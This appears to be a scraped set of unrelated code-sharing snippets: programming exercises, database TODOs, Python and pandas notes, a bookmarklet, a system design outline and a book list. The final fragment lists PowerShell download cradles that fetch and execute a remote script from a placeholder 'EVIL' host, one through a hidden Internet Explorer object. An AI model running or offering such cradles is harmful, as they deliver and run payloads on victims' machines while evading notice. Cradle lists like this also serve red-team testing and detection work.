abhinai

1) Read an image from file
2) Display an image that you read from file
3) Capture Video using your webcam and display the feed
4) Display back and white live stream from your webcam.
5) Have a slider to change brightness of the webcam live stream. Display.
6) Have a slider to change contrast of the webcam live stream. Display.
7) Capture a snapshot from your webcam. Then display difference between live video stream and this snapshot. (Background subtraction)
8) Display Canny edge image from your live webcam stream
9) Have a slider to change smoothness / sharpness of image from live webcam stream.
10) Display histogram of colors (RGB) from your live webcam stream

antirez

# LVDB - LLOOGG Memory DB
# Copyriht (C) 2009 Salvatore Sanfilippo <antirez@gmail.com>
# All Rights Reserved

# TODO
# - cron with cleanup of timedout clients, automatic dump
# - the dump should use array startsearch to write it line by line
#   and may just use gets to read element by element and load the whole state.
# - 'help','stopserver','saveandstopserver','save','load','reset','keys' commands.
# - ttl with milliseconds resolution 'ttl a 1000'. Check ttl in dump!

chekunkov

#!/usr/bin/env python
import sys
import pprint


def displayhook_pprint(o):
    """Display hook powered by pprint.

    https://www.python.org/dev/peps/pep-0217/

conormm

R to python data wrangling snippets

The dplyr package in R makes data wrangling significantly easier. The beauty of dplyr is that, by design, the options available are limited. Specifically, a set of key verbs form the core of the package. Using these verbs you can solve a wide range of data problems effectively in a shorter timeframe. Whilse transitioning to Python I have greatly missed the ease with which I can think through and solve problems using dplyr in R. The purpose of this document is to demonstrate how to execute the key dplyr verbs when manipulating data using Python (with the pandas package).

dplyr is organised around six key verbs:

n-st

javascript:(function(){if(location.href.indexOf('http')!=0){input=prompt('URL:','http://');if(input!=null){location.href='http://web.archive.org/web/*/'+input}}else{location.href='http://web.archive.org/web/*/'+location.href;}})();

vasanthk

System Design Cheatsheet

Picking the right architecture = Picking the right battles + Managing trade-offs

Basic Steps

1. Clarify and agree on the scope of the system

• User cases (description of sequences of events that, taken together, lead to a system doing something useful)
  • Who is going to use it?
  • How are they going to use it?

bkaradzic

Orthodox C++

This article has been updated and is available here.

bishboria

These links no longer work. Springer have pulled the free plug.

Graduate texts in mathematics

duplicates = multiple editions

A Classical Introduction to Modern Number Theory, Kenneth Ireland Michael Rosen

A Classical Introduction to Modern Number Theory, Kenneth Ireland Michael Rosen

need12648430

import sys
from quarrel import Quarrel

@Quarrel("multiply", int, int)
@Quarrel("multiply", int)
def multiply_int(a, b = 2):
  print(a * b)

@Quarrel("greet", str)
def greet(name):

HarmJ0y

# normal download cradle
IEX (New-Object Net.Webclient).downloadstring("http://EVIL/evil.ps1")

# PowerShell 3.0+
IEX (iwr 'http://EVIL/evil.ps1')

# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r

# Msxml2.XMLHTTP COM object